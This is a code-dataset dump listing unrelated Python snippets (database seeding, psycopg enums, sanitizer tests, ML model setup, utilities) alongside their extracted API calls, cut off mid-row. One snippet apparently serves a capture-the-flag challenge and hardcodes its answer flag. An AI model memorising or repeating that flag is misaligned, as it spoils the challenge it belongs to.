code stringlengths 22 1.05M | apis listlengths 1 3.31k | extract_api stringlengths 75 3.25M |
|---|---|---|
from datetime import datetime as dt
def datetime_format(datetime) -> str:
return dt.strftime(datetime, "%Y-%m-%d %H:%M:%S") | [
"datetime.datetime.strftime"
] | [((89, 131), 'datetime.datetime.strftime', 'dt.strftime', (['datetime', '"""%Y-%m-%d %H:%M:%S"""'], {}), "(datetime, '%Y-%m-%d %H:%M:%S')\n", (100, 131), True, 'from datetime import datetime as dt\n')] |
from price_picker.models import User, Device, Manufacturer, Repair, Picture, Color, Preferences, Enquiry
from price_picker import db
def create_sample_data():
"""Creates sample data."""
print("Adding Sample Data")
# Delete all data
Enquiry.query.delete()
Device.query.delete()
Manufacturer.quer... | [
"price_picker.models.Color",
"price_picker.models.Device.query.delete",
"price_picker.models.User.query.delete",
"price_picker.models.Manufacturer",
"price_picker.models.Color.query.delete",
"price_picker.db.session.commit",
"price_picker.models.Repair",
"price_picker.models.Enquiry.query.delete",
"... | [((250, 272), 'price_picker.models.Enquiry.query.delete', 'Enquiry.query.delete', ([], {}), '()\n', (270, 272), False, 'from price_picker.models import User, Device, Manufacturer, Repair, Picture, Color, Preferences, Enquiry\n'), ((277, 298), 'price_picker.models.Device.query.delete', 'Device.query.delete', ([], {}), '... |
"""
libpq enum definitions for psycopg
"""
# Copyright (C) 2020-2021 The Psycopg Team
from enum import IntEnum, auto
class ConnStatus(IntEnum):
"""
Current status of the connection.
"""
__module__ = "psycopg.pq"
OK = 0
"""The connection is in a working state."""
BAD = auto()
"""The... | [
"enum.auto"
] | [((303, 309), 'enum.auto', 'auto', ([], {}), '()\n', (307, 309), False, 'from enum import IntEnum, auto\n'), ((361, 367), 'enum.auto', 'auto', ([], {}), '()\n', (365, 367), False, 'from enum import IntEnum, auto\n'), ((379, 385), 'enum.auto', 'auto', ([], {}), '()\n', (383, 385), False, 'from enum import IntEnum, auto\... |
# -*- coding: utf-8 -*-
# Generated by Django 1.10.5 on 2017-06-09 19:18
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('consent', '0023_auto_20170605_2243'),
]
operations = [
migrations.AlterFiel... | [
"django.db.models.CharField"
] | [((417, 632), 'django.db.models.CharField', 'models.CharField', ([], {'choices': "[('OBC', 'OBC'), ('GEN', 'General'), ('SC', 'SC'), ('ST', 'ST'), ('OBC-PH',\n 'OBC-PH'), ('GEN-PH', 'General-PH'), ('SC-PH', 'SC-PH'), ('ST-PH', 'ST-PH')\n ]", 'default': '"""GEN"""', 'max_length': '(6)'}), "(choices=[('OBC', 'OBC')... |
import logging
from sqlalchemy.orm import joinedload
import smartdb
from model import Machine, Schedule, MachineInterface
logger = logging.getLogger(__file__)
class ScheduleRepository:
__name__ = "ScheduleRepository"
def __init__(self, smart: smartdb.SmartDatabaseClient):
self.smart = smart
@... | [
"logging.getLogger",
"sqlalchemy.orm.joinedload",
"model.Schedule"
] | [((134, 161), 'logging.getLogger', 'logging.getLogger', (['__file__'], {}), '(__file__)\n', (151, 161), False, 'import logging\n'), ((3660, 3679), 'sqlalchemy.orm.joinedload', 'joinedload', (['"""disks"""'], {}), "('disks')\n", (3670, 3679), False, 'from sqlalchemy.orm import joinedload\n'), ((2091, 2133), 'model.Sched... |
# --- Internal Level Representation and Gamerules --- #
from typing import Collection, Mapping, Tuple, Type, Sequence
from functools import reduce
from copy import deepcopy
import pygame as pg # for type hints
from entities import *
from helpers import V2
class Board:
"""a hashing based sparse-matrix... | [
"helpers.V2",
"pygame.Rect",
"copy.deepcopy"
] | [((4373, 4432), 'pygame.Rect', 'pg.Rect', (['min_x', 'min_y', '(max_x - min_x + 1)', '(max_y - min_y + 1)'], {}), '(min_x, min_y, max_x - min_x + 1, max_y - min_y + 1)\n', (4380, 4432), True, 'import pygame as pg\n'), ((4097, 4120), 'pygame.Rect', 'pg.Rect', (['(-5)', '(-5)', '(10)', '(10)'], {}), '(-5, -5, 10, 10)\n',... |
#!/usr/bin/env python3
"""
This module allows killing ego vehicles in a carla simulation.
It can either be integrated in another python moduleby including `kill_heroes.kill_heroes`
Or be called as a standalone script.
"""
import carla
import argparse
def kill_heroes(role_name="hero", host="127.0.0.1", port=2000):
... | [
"carla.Client",
"argparse.ArgumentParser"
] | [((386, 410), 'carla.Client', 'carla.Client', (['host', 'port'], {}), '(host, port)\n', (398, 410), False, 'import carla\n'), ((865, 990), 'argparse.ArgumentParser', 'argparse.ArgumentParser', ([], {'description': '"""Kill all ego/hero vehicles"""', 'formatter_class': 'argparse.ArgumentDefaultsHelpFormatter'}), "(descr... |
# Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... | [
"mindspore.ops.Maximum",
"mindspore.ops.Minimum",
"src.networks.controller.define_G",
"mindspore.ops.Concat",
"mindspore.ops.Ones"
] | [((965, 975), 'mindspore.ops.Ones', 'ops.Ones', ([], {}), '()\n', (973, 975), False, 'from mindspore import nn, ops\n'), ((1000, 1013), 'mindspore.ops.Concat', 'ops.Concat', (['(2)'], {}), '(2)\n', (1010, 1013), False, 'from mindspore import nn, ops\n'), ((1038, 1051), 'mindspore.ops.Concat', 'ops.Concat', (['(3)'], {}... |
from django.db import models
# Create your models here.
class QandAModel(models.Model):
question = models.CharField(max_length=128, unique=True)
answer = models.CharField(max_length=128)
header = models.CharField(max_length=128)
| [
"django.db.models.CharField"
] | [((104, 149), 'django.db.models.CharField', 'models.CharField', ([], {'max_length': '(128)', 'unique': '(True)'}), '(max_length=128, unique=True)\n', (120, 149), False, 'from django.db import models\n'), ((163, 195), 'django.db.models.CharField', 'models.CharField', ([], {'max_length': '(128)'}), '(max_length=128)\n', ... |
#!/usr/bin/python
from typing import Dict, Union, Tuple, List
import numpy as np
from ..parameters import POI
from ..fitutils.api_check import is_valid_loss, is_valid_fitresult, is_valid_minimizer
from ..fitutils.api_check import is_valid_data, is_valid_pdf
from ..fitutils.utils import pll
"""
Module defining the bas... | [
"numpy.where",
"numpy.zeros",
"numpy.isnan",
"numpy.meshgrid",
"numpy.isinf"
] | [((16237, 16254), 'numpy.zeros', 'np.zeros', (['q.shape'], {}), '(q.shape)\n', (16245, 16254), True, 'import numpy as np\n'), ((16350, 16379), 'numpy.where', 'np.where', (['condition', 'zeros', 'q'], {}), '(condition, zeros, q)\n', (16358, 16379), True, 'import numpy as np\n'), ((16083, 16094), 'numpy.isnan', 'np.isnan... |
import os
bind = "0.0.0.0:9605"
workers = os.cpu_count() * 2 - 1
loglevel = "warning"
errorlog = os.path.join("logs", "error.log")
accesslog = os.path.join("logs", "access.log")
| [
"os.path.join",
"os.cpu_count"
] | [((101, 134), 'os.path.join', 'os.path.join', (['"""logs"""', '"""error.log"""'], {}), "('logs', 'error.log')\n", (113, 134), False, 'import os\n'), ((148, 182), 'os.path.join', 'os.path.join', (['"""logs"""', '"""access.log"""'], {}), "('logs', 'access.log')\n", (160, 182), False, 'import os\n'), ((44, 58), 'os.cpu_co... |
#!/bin/env python3
import pickle
from datetime import datetime, timedelta
import os
import pathlib
import sys
from typing import Set, Dict, List, Optional
from collections import defaultdict
from itertools import product
import requests
import requests_cache
sys.path.append(os.path.dirname(os.path.abspath(__file__)))... | [
"pickle.dump",
"biolink_helper.BiolinkHelper",
"ARAX_response.ARAXResponse",
"pathlib.Path",
"itertools.product",
"pickle.load",
"expand_utilities.get_canonical_curies_list",
"requests.get",
"expand_utilities.get_all_kps",
"expand_utilities.get_kp_endpoint_url",
"datetime.datetime.now",
"expan... | [((293, 318), 'os.path.abspath', 'os.path.abspath', (['__file__'], {}), '(__file__)\n', (308, 318), False, 'import os\n'), ((826, 840), 'ARAX_response.ARAXResponse', 'ARAXResponse', ([], {}), '()\n', (838, 840), False, 'from ARAX_response import ARAXResponse\n'), ((1093, 1109), 'expand_utilities.get_all_kps', 'eu.get_a... |
from __future__ import annotations
from collections import (namedtuple, deque, Counter, OrderedDict, defaultdict, ChainMap)
from typing import (
NamedTuple, List, Deque, Any,
Counter as CounterT, DefaultDict as DefaultDictT,
ChainMap as ChainMapT,
MutableMapping,
Dict
)
RGBColor = NamedTuple('color',[('red'... | [
"collections.OrderedDict",
"collections.deque",
"collections.ChainMap",
"collections.Counter",
"collections.defaultdict",
"typing.NamedTuple"
] | [((294, 360), 'typing.NamedTuple', 'NamedTuple', (['"""color"""', "[('red', int), ('green', int), ('blue', int)]"], {}), "('color', [('red', int), ('green', int), ('blue', int)])\n", (304, 360), False, 'from typing import NamedTuple, List, Deque, Any, Counter as CounterT, DefaultDict as DefaultDictT, ChainMap as ChainM... |
#!/usr/bin/env python
import turbotutils
import turbotutils.cluster
import boto3
if __name__ == '__main__':
# Set to False if you do not have a valid certificate for your Turbot Host
turbot_host_certificate_verification = True
# Set to your Turbot Host URL
turbot_host = turbotutils.get_turbot_host(... | [
"boto3.client",
"turbotutils.get_turbot_host",
"turbotutils.get_turbot_access_keys",
"turbotutils.cluster.get_cluster_id",
"turbotutils.cluster.get_turbot_account_ids"
] | [((292, 321), 'turbotutils.get_turbot_host', 'turbotutils.get_turbot_host', ([], {}), '()\n', (319, 321), False, 'import turbotutils\n'), ((417, 453), 'turbotutils.get_turbot_access_keys', 'turbotutils.get_turbot_access_keys', ([], {}), '()\n', (451, 453), False, 'import turbotutils\n'), ((471, 606), 'turbotutils.clust... |
#!/usr/bin/env python
"""Set up a directory to run notebook analysis and copy over the examples"""
import os
import shutil
import glob
import argparse
from lsst.eo_utils.base.defaults import EO_PACKAGE_BASE
from lsst.eo_utils.base.file_utils import make_links
DEFAULT_BASEDIR = '/gpfs/slac/lsst/fs1/u/echarles/DAT... | [
"argparse.ArgumentParser",
"lsst.eo_utils.base.file_utils.make_links",
"os.path.join",
"shutil.copyfile",
"os.path.basename"
] | [((387, 412), 'argparse.ArgumentParser', 'argparse.ArgumentParser', ([], {}), '()\n', (410, 412), False, 'import argparse\n'), ((588, 625), 'lsst.eo_utils.base.file_utils.make_links', 'make_links', (['args.basedir', 'args.outdir'], {}), '(args.basedir, args.outdir)\n', (598, 625), False, 'from lsst.eo_utils.base.file_u... |
import numpy as np
import pandas as pd
import torch
import torch.nn as nn
import torch.nn.functional as F
import matplotlib.pyplot as plt
from prophet import Prophet
# https://github.com/omerbsezer/LSTM_RNN_Tutorials_with_Demo/blob/master/StockPricesPredictionProject/pricePredictionLSTM.py
# https://github.com/stefan-... | [
"matplotlib.pyplot.savefig",
"pandas.read_csv",
"prophet.Prophet",
"matplotlib.pyplot.title",
"matplotlib.pyplot.show"
] | [((1292, 1362), 'pandas.read_csv', 'pd.read_csv', (['f"""../Data/{name}.csv"""'], {'index_col': '"""time"""', 'parse_dates': '(True)'}), "(f'../Data/{name}.csv', index_col='time', parse_dates=True)\n", (1303, 1362), True, 'import pandas as pd\n'), ((1881, 1890), 'prophet.Prophet', 'Prophet', ([], {}), '()\n', (1888, 18... |
"""This module is a label viewer. At the moment, all it really does is display
the label and give the option to pull up a search window to search the text in
the label. When this window is hidden, the search query in the text finder is
cleared and that window is hidden as well if it is not already. Also, if this
window... | [
"qtpy.QtWidgets.QVBoxLayout",
"qtpy.QtWidgets.QGridLayout",
"qtpy.QtCore.QMargins",
"pdsview.textfinder.LabelSearch",
"qtpy.QtWidgets.QPushButton",
"qtpy.QtWidgets.QHBoxLayout",
"qtpy.QtGui.QFont",
"qtpy.QtWidgets.QTextEdit"
] | [((944, 967), 'qtpy.QtWidgets.QVBoxLayout', 'QtWidgets.QVBoxLayout', ([], {}), '()\n', (965, 967), False, 'from qtpy import QtWidgets, QtCore, QtGui\n'), ((1070, 1093), 'qtpy.QtWidgets.QHBoxLayout', 'QtWidgets.QHBoxLayout', ([], {}), '()\n', (1091, 1093), False, 'from qtpy import QtWidgets, QtCore, QtGui\n'), ((1231, 1... |
import json
import mlrun.errors
import mlrun.utils.singleton
from mlrun.api.schemas.marketplace import (
MarketplaceCatalog,
MarketplaceItem,
MarketplaceItemMetadata,
MarketplaceItemSpec,
MarketplaceSource,
ObjectStatus,
)
from mlrun.api.utils.singletons.k8s import get_k8s
from mlrun.config imp... | [
"json.loads",
"mlrun.datastore.store_manager.set",
"mlrun.api.schemas.marketplace.ObjectStatus",
"mlrun.api.schemas.marketplace.MarketplaceCatalog",
"mlrun.api.utils.singletons.k8s.get_k8s",
"mlrun.api.schemas.marketplace.MarketplaceItemMetadata",
"mlrun.api.schemas.marketplace.MarketplaceItemSpec"
] | [((843, 852), 'mlrun.api.utils.singletons.k8s.get_k8s', 'get_k8s', ([], {}), '()\n', (850, 852), False, 'from mlrun.api.utils.singletons.k8s import get_k8s\n'), ((3843, 3873), 'mlrun.api.schemas.marketplace.MarketplaceCatalog', 'MarketplaceCatalog', ([], {'catalog': '[]'}), '(catalog=[])\n', (3861, 3873), False, 'from ... |
from djangoevents.domain import BaseAggregate
from djangoevents.domain import DomainEvent
from djangoevents.utils_abstract import abstract
from ..utils import camel_case_to_snake_case
from ..utils import list_aggregate_events
from ..utils import list_concrete_aggregates
from ..utils import _list_subclasses
from ..utils... | [
"pytest.mark.parametrize",
"unittest.mock.patch"
] | [((2507, 2774), 'pytest.mark.parametrize', 'pytest.mark.parametrize', (['"""name, expected_output"""', "[('UserRegistered', 'user_registered'), ('UserRegisteredWithEmail',\n 'user_registered_with_email'), ('HttpResponse', 'http_response'), (\n 'HTTPResponse', 'http_response'), ('already_snake', 'already_snake')]"... |
import torch
from ghost_net import ghost_net
model = ghost_net(width_mult=1.0)
input = torch.randn(32,3,224,224)
y = model(input)
print(y)
print(model) | [
"ghost_net.ghost_net",
"torch.randn"
] | [((54, 79), 'ghost_net.ghost_net', 'ghost_net', ([], {'width_mult': '(1.0)'}), '(width_mult=1.0)\n', (63, 79), False, 'from ghost_net import ghost_net\n'), ((88, 116), 'torch.randn', 'torch.randn', (['(32)', '(3)', '(224)', '(224)'], {}), '(32, 3, 224, 224)\n', (99, 116), False, 'import torch\n')] |
import random
from datetime import datetime
import pandas as pd
def sales(n: int = 100, start: int = 100) -> pd.DataFrame:
""" Generate Sales """
USERS = 12
PRODUCTS = 4
SUPPLIERS = 3
CAMPAIGNS = 3
records = []
for index in range(start, start + n):
sale_record = {
"i... | [
"pandas.DataFrame",
"datetime.datetime.now",
"random.random",
"random.randint"
] | [((686, 707), 'pandas.DataFrame', 'pd.DataFrame', (['records'], {}), '(records)\n', (698, 707), True, 'import pandas as pd\n'), ((324, 345), 'random.randint', 'random.randint', (['index'], {}), '(index)\n', (338, 345), False, 'import random\n'), ((370, 394), 'random.randint', 'random.randint', (['(1)', 'USERS'], {}), '... |
from django.urls import path
from .views import index
urlpatterns = [
path('', index),
path('list', index),
path('create', index),
path('login', index),
path('signup', index),
path('platform/<str:handle>', index),
path('platform/<str:handle>/create', index),
path('platform/<s... | [
"django.urls.path"
] | [((79, 94), 'django.urls.path', 'path', (['""""""', 'index'], {}), "('', index)\n", (83, 94), False, 'from django.urls import path\n'), ((101, 120), 'django.urls.path', 'path', (['"""list"""', 'index'], {}), "('list', index)\n", (105, 120), False, 'from django.urls import path\n'), ((127, 148), 'django.urls.path', 'pat... |
from logging import info, basicConfig, INFO
from time import sleep
from src.slack.slack_bot import Bot
def main():
basicConfig(level=INFO)
bot = Bot()
info('Connection Slack')
if not bot.slack_client.rtm_connect():
info('Could not connect in web_socket')
exit()
else:
info(... | [
"logging.basicConfig",
"src.slack.slack_bot.Bot",
"logging.info",
"time.sleep"
] | [((121, 144), 'logging.basicConfig', 'basicConfig', ([], {'level': 'INFO'}), '(level=INFO)\n', (132, 144), False, 'from logging import info, basicConfig, INFO\n'), ((155, 160), 'src.slack.slack_bot.Bot', 'Bot', ([], {}), '()\n', (158, 160), False, 'from src.slack.slack_bot import Bot\n'), ((166, 190), 'logging.info', '... |
#!/usr/bin/env python
import SocketServer
import time
import random
HOST = "0.0.0.0"
PORT = 6050
FLAG = "flag{1_b3t_u_us3d_g00gle_tr4nslate}"
class connectionHandler(SocketServer.BaseRequestHandler):
def handle(self):
handle = open('/dev/urandom')
offset = random.randint(15,60)
star... | [
"SocketServer.ForkingTCPServer",
"time.time",
"random.randint"
] | [((796, 858), 'SocketServer.ForkingTCPServer', 'SocketServer.ForkingTCPServer', (['(HOST, PORT)', 'connectionHandler'], {}), '((HOST, PORT), connectionHandler)\n', (825, 858), False, 'import SocketServer\n'), ((286, 308), 'random.randint', 'random.randint', (['(15)', '(60)'], {}), '(15, 60)\n', (300, 308), False, 'impo... |
# -*- coding: utf-8 -*-
import tensorflow as tf
def content_loss(content_weight, content_current, content_target):
"""
Compute the content loss for style transfer.
Inputs:
- content_weight: scalar constant we multiply the content_loss by.
- content_current: features of the current image, Tens... | [
"tensorflow.shape",
"tensorflow.transpose",
"tensorflow.nn.l2_loss",
"tensorflow.reshape",
"tensorflow.cast"
] | [((1118, 1136), 'tensorflow.shape', 'tf.shape', (['features'], {}), '(features)\n', (1126, 1136), True, 'import tensorflow as tf\n'), ((1160, 1216), 'tensorflow.reshape', 'tf.reshape', (['features', '[shapes[1] * shapes[2], shapes[3]]'], {}), '(features, [shapes[1] * shapes[2], shapes[3]])\n', (1170, 1216), True, 'impo... |
import xbrl
from xbrl.const import NS, LinkType, LinkGroup
import os.path
from urllib.request import pathname2url
import datetime
def test_loadixbrl():
processor = xbrl.XBRLProcessor()
url = "file:" + pathname2url(os.path.abspath(os.path.join(os.path.dirname(__file__), "simple-ixbrl.xhtml")))
report ... | [
"datetime.datetime",
"xbrl.XBRLProcessor"
] | [((170, 190), 'xbrl.XBRLProcessor', 'xbrl.XBRLProcessor', ([], {}), '()\n', (188, 190), False, 'import xbrl\n'), ((944, 982), 'datetime.datetime', 'datetime.datetime', (['(2018)', '(1)', '(1)', '(0)', '(0)', '(0)'], {}), '(2018, 1, 1, 0, 0, 0)\n', (961, 982), False, 'import datetime\n'), ((1010, 1048), 'datetime.dateti... |
"""
find and delete all "*.pyc" bytecode files at and below the directory
named on the command-line; this uses a Python-coded find utility, and
so is portable; run this to delete .pyc's from an old Python release;
"""
import os, sys, find # here, gets Tools.find
count = 0
for filename in find.find('*.pyc... | [
"find.find"
] | [((304, 335), 'find.find', 'find.find', (['"""*.pyc"""', 'sys.argv[1]'], {}), "('*.pyc', sys.argv[1])\n", (313, 335), False, 'import os, sys, find\n')] |
from functions.api_parking import get_parking, search_parking, parking_locate
parkings = get_parking()
for parking in parkings['records']:
nom = parking['fields']['name']
places_disponibles = parking['fields']['dispo']
print(f'{nom} | {places_disponibles} places disponibles')
print('\n')
prin... | [
"functions.api_parking.search_parking",
"functions.api_parking.parking_locate",
"functions.api_parking.get_parking"
] | [((92, 105), 'functions.api_parking.get_parking', 'get_parking', ([], {}), '()\n', (103, 105), False, 'from functions.api_parking import get_parking, search_parking, parking_locate\n'), ((322, 338), 'functions.api_parking.parking_locate', 'parking_locate', ([], {}), '()\n', (336, 338), False, 'from functions.api_parkin... |
import click
import requests
from operator import itemgetter
from blessed import Terminal
from itertools import chain, cycle
import os
from sys import platform
from datetime import datetime
from texttable import Texttable
import logs.logger as logger
from src.constants import ELEMENTS_PER_PAGE, ONE_MONTH, ONE_YEAR, SOR... | [
"texttable.Texttable",
"os.get_terminal_size",
"click.option",
"datetime.datetime.strptime",
"blessed.Terminal",
"requests.get",
"datetime.datetime.now",
"logs.logger.logging_data",
"operator.itemgetter",
"click.command",
"os.system"
] | [((7424, 7439), 'click.command', 'click.command', ([], {}), '()\n', (7437, 7439), False, 'import click\n'), ((7441, 7531), 'click.option', 'click.option', (['"""-r"""', '"""--reponame"""'], {'type': 'str', 'help': '"""Repository to search"""', 'required': '(True)'}), "('-r', '--reponame', type=str, help='Repository to ... |
from pybluemonday import UGCPolicy, StrictPolicy, NewPolicy
from collections import namedtuple
Case = namedtuple("Case", ["input", "output"])
def test_StrictPolicy():
cases = [
Case(input="Hello, <b>World</b>!", output="Hello, World!"),
Case(input="<blockquote>Hello, <b>World</b>!", output="Hello... | [
"pybluemonday.UGCPolicy",
"pybluemonday.StrictPolicy",
"collections.namedtuple"
] | [((103, 142), 'collections.namedtuple', 'namedtuple', (['"""Case"""', "['input', 'output']"], {}), "('Case', ['input', 'output'])\n", (113, 142), False, 'from collections import namedtuple\n'), ((486, 500), 'pybluemonday.StrictPolicy', 'StrictPolicy', ([], {}), '()\n', (498, 500), False, 'from pybluemonday import UGCPo... |
import numpy
from scipy.optimize import differential_evolution
def optim_matrix(A, B):
X = A.points.T
Y = B.points.T
bounds = [(-999999.0, 999999.0)] * 4
def f(p):
Z = numpy.array(p)
Z.shape = (2, 2)
y = numpy.dot(Z, X)
return numpy.linalg.norm(y - Y)
return dif... | [
"scipy.optimize.differential_evolution",
"numpy.exp",
"numpy.array",
"numpy.dot",
"numpy.linalg.norm"
] | [((317, 350), 'scipy.optimize.differential_evolution', 'differential_evolution', (['f', 'bounds'], {}), '(f, bounds)\n', (339, 350), False, 'from scipy.optimize import differential_evolution\n'), ((197, 211), 'numpy.array', 'numpy.array', (['p'], {}), '(p)\n', (208, 211), False, 'import numpy\n'), ((249, 264), 'numpy.d... |
import os
import sys
from _io import BytesIO
from alibabacloud_tea_fileform.models import FileField
from Tea.stream import BaseStream
from Tea.converter import TeaConverter as TC
FMT = b'[%s]'
class FileFormInputStream(BaseStream):
MAX_SIZE = 2147483647
def __init__(self, form, boundary, size... | [
"os.path.getsize",
"Tea.converter.TeaConverter.to_bytes"
] | [((1310, 1331), 'Tea.converter.TeaConverter.to_bytes', 'TC.to_bytes', (['form_str'], {}), '(form_str)\n', (1321, 1331), True, 'from Tea.converter import TeaConverter as TC\n'), ((5211, 5237), 'Tea.converter.TeaConverter.to_bytes', 'TC.to_bytes', (['self.boundary'], {}), '(self.boundary)\n', (5222, 5237), True, 'from Te... |
# coding: utf-8
"""
Intersight REST API
This is Intersight REST API
OpenAPI spec version: 1.0.9-255
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from pprint import pformat
from six import iteritems
import re
class IamLdapDnsParameters(object):
"""
NOTE: This ... | [
"six.iteritems"
] | [((3830, 3859), 'six.iteritems', 'iteritems', (['self.swagger_types'], {}), '(self.swagger_types)\n', (3839, 3859), False, 'from six import iteritems\n')] |
#!/usr/bin/env python3
import rospy
import rospkg
import typing as tp
import yaml
from robonomics_vacuum.srv import Element
from std_msgs.msg import String
from miio import RoborockVacuum
import os
import datetime
from robonomics_vacuum.utils import read_config
class ElementsMonitoring:
def __init__(self) -> None... | [
"os.path.exists",
"rospy.Publisher",
"rospy.is_shutdown",
"yaml.dump",
"miio.RoborockVacuum",
"rospy.init_node",
"rospy.get_param",
"rospy.Service",
"rospkg.RosPack",
"rospy.Rate",
"datetime.timedelta",
"robonomics_vacuum.utils.read_config"
] | [((330, 368), 'rospy.init_node', 'rospy.init_node', (['"""elements_monitoring"""'], {}), "('elements_monitoring')\n", (345, 368), False, 'import rospy\n'), ((387, 414), 'rospy.get_param', 'rospy.get_param', (['"""~address"""'], {}), "('~address')\n", (402, 414), False, 'import rospy\n'), ((431, 456), 'rospy.get_param',... |
import struct
# NOTE only 24bit bmps are supported!
def readAsInt( file, nrBytes, signed ):
if nrBytes == 2:
unpackStr = "<H"
else:
unpackStr = "<i"
bytes = file.read(nrBytes)
val = struct.unpack(unpackStr, bytes)
return val[0]
def readFile(infile):
try:
image_file = ... | [
"struct.unpack"
] | [((217, 248), 'struct.unpack', 'struct.unpack', (['unpackStr', 'bytes'], {}), '(unpackStr, bytes)\n', (230, 248), False, 'import struct\n')] |
import mlflow
import shap
import sklearn
from sklearn.datasets import load_diabetes
# prepare training data
X, y = load_diabetes(return_X_y=True, as_frame=True)
# train a model
model = sklearn.ensemble.RandomForestRegressor(n_estimators=100)
model.fit(X, y)
# create an explainer
explainer_original = shap.Explainer(m... | [
"sklearn.ensemble.RandomForestRegressor",
"mlflow.shap.log_explainer",
"sklearn.datasets.load_diabetes",
"mlflow.shap.load_explainer",
"shap.Explainer",
"mlflow.start_run"
] | [((116, 161), 'sklearn.datasets.load_diabetes', 'load_diabetes', ([], {'return_X_y': '(True)', 'as_frame': '(True)'}), '(return_X_y=True, as_frame=True)\n', (129, 161), False, 'from sklearn.datasets import load_diabetes\n'), ((187, 243), 'sklearn.ensemble.RandomForestRegressor', 'sklearn.ensemble.RandomForestRegressor'... |
#! /usr/bin/env python
# -*- coding: utf-8 -*-
"""
@Author:lichunhui
@Time: 2018/7/19 16:05
@Description: 利用谷歌翻译进行因为文本翻译
"""
import urllib.request
import urllib.parse
import execjs
import random
import json
import asyncio
from aiohttp import ClientSession
from baikeSpider.settings import MY_USER_AGENT
from ..logger i... | [
"aiohttp.ClientSession",
"random.sample",
"json.loads",
"execjs.compile",
"asyncio.Semaphore",
"asyncio.gather",
"asyncio.get_event_loop",
"time.time"
] | [((11228, 11239), 'time.time', 'time.time', ([], {}), '()\n', (11237, 11239), False, 'import time\n'), ((11270, 11281), 'time.time', 'time.time', ([], {}), '()\n', (11279, 11281), False, 'import time\n'), ((465, 1966), 'execjs.compile', 'execjs.compile', (['"""\n function TL(a) {\n var k = "";\n ... |
# Copyright 2021 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... | [
"numpy.random.default_rng",
"jax.numpy.arange",
"absl.testing.absltest.main",
"absl.testing.parameterized.named_parameters",
"jax.numpy.array",
"jax.tree_util.tree_map",
"tree_math.Vector",
"jax.tree_util.tree_leaves",
"jax.numpy.ones"
] | [((1532, 1672), 'absl.testing.parameterized.named_parameters', 'parameterized.named_parameters', (["*({'testcase_name': op.__name__, 'op': op} for op in [operator.pos,\n operator.neg, abs, operator.invert])"], {}), "(*({'testcase_name': op.__name__, 'op': op} for\n op in [operator.pos, operator.neg, abs, operator... |
#!/usr/bin/env python3
# Copyright (c) 2014-2021 Megvii Inc. All rights reserved.
import megengine as mge
import megengine.module as M
import numpy as np
import pytest
from basecls.models.repvgg import RepVGGBlock
@pytest.mark.parametrize("w_in", [32, 64])
@pytest.mark.parametrize("w_out", [64])
@pytest.mark.paramet... | [
"pytest.mark.parametrize",
"megengine.random.uniform",
"basecls.models.repvgg.RepVGGBlock.convert_to_deploy",
"basecls.models.repvgg.RepVGGBlock"
] | [((218, 259), 'pytest.mark.parametrize', 'pytest.mark.parametrize', (['"""w_in"""', '[32, 64]'], {}), "('w_in', [32, 64])\n", (241, 259), False, 'import pytest\n'), ((261, 299), 'pytest.mark.parametrize', 'pytest.mark.parametrize', (['"""w_out"""', '[64]'], {}), "('w_out', [64])\n", (284, 299), False, 'import pytest\n'... |
import argparse
import json
import sys
import os
from json.decoder import JSONDecodeError
from .config import read_config, exists_config, initialize_config
from .colorvote import Colorvote
DEFAULT_CONFIG_DIR = os.path.join(os.path.expanduser("~"), '.colorvote')
def main():
parser = argparse.ArgumentParser(descri... | [
"json.loads",
"argparse.ArgumentParser",
"json.dumps",
"os.path.join",
"os.path.expanduser"
] | [((227, 250), 'os.path.expanduser', 'os.path.expanduser', (['"""~"""'], {}), "('~')\n", (245, 250), False, 'import os\n'), ((290, 365), 'argparse.ArgumentParser', 'argparse.ArgumentParser', ([], {'description': '"""Colorvote CLI tool"""', 'prog': '"""colorvote"""'}), "(description='Colorvote CLI tool', prog='colorvote'... |
from sen_api import IntervalReading
def test_interval_reading():
reading = IntervalReading('01/10/2020', '04/10/2020', 55)
assert reading.interval_days == 4
assert reading.avg_consumption == 14
reading = IntervalReading('01/03/2020', '31/03/2020', 341)
assert reading.interval_days == 31
asser... | [
"sen_api.IntervalReading"
] | [((81, 128), 'sen_api.IntervalReading', 'IntervalReading', (['"""01/10/2020"""', '"""04/10/2020"""', '(55)'], {}), "('01/10/2020', '04/10/2020', 55)\n", (96, 128), False, 'from sen_api import IntervalReading\n'), ((223, 271), 'sen_api.IntervalReading', 'IntervalReading', (['"""01/03/2020"""', '"""31/03/2020"""', '(341)... |
from pathlib import Path
from fhir.resources.valueset import ValueSet as _ValueSet
from oops_fhir.utils import ValueSet
from oops_fhir.r4.code_system.v3_relational_operator import (
v3RelationalOperator as v3RelationalOperator_,
)
__all__ = ["v3RelationalOperator"]
_resource = _ValueSet.parse_file(Path(__fil... | [
"pathlib.Path"
] | [((310, 324), 'pathlib.Path', 'Path', (['__file__'], {}), '(__file__)\n', (314, 324), False, 'from pathlib import Path\n')] |
# -*- coding: utf-8 -*-
import six
from datetime import datetime
from mongo_model.connection import conn
from mongo_model.fields import MongoField, ObjectIDField
class ModelBase(object):
"""Model base class. The design idea is for a particular row
in the database, there will be only one instance initiated i... | [
"mongo_model.fields.ObjectIDField",
"six.iteritems"
] | [((526, 541), 'mongo_model.fields.ObjectIDField', 'ObjectIDField', ([], {}), '()\n', (539, 541), False, 'from mongo_model.fields import MongoField, ObjectIDField\n'), ((1875, 1902), 'six.iteritems', 'six.iteritems', (['self._fields'], {}), '(self._fields)\n', (1888, 1902), False, 'import six\n'), ((2564, 2591), 'six.it... |
import torch
import torchmetrics
def torch_rmse(
pred, target,
):
score = torch.sqrt(torchmetrics.functional.mean_squared_error(pred, target))
return score
def torch_rocauc(
pred, target,
):
score = torch.sqrt(torchmetrics.functional.auroc(pred, target.int()))
return score
| [
"torchmetrics.functional.mean_squared_error"
] | [((95, 151), 'torchmetrics.functional.mean_squared_error', 'torchmetrics.functional.mean_squared_error', (['pred', 'target'], {}), '(pred, target)\n', (137, 151), False, 'import torchmetrics\n')] |
import numpy as np
import matplotlib
# matplotlib.use("TkAgg")
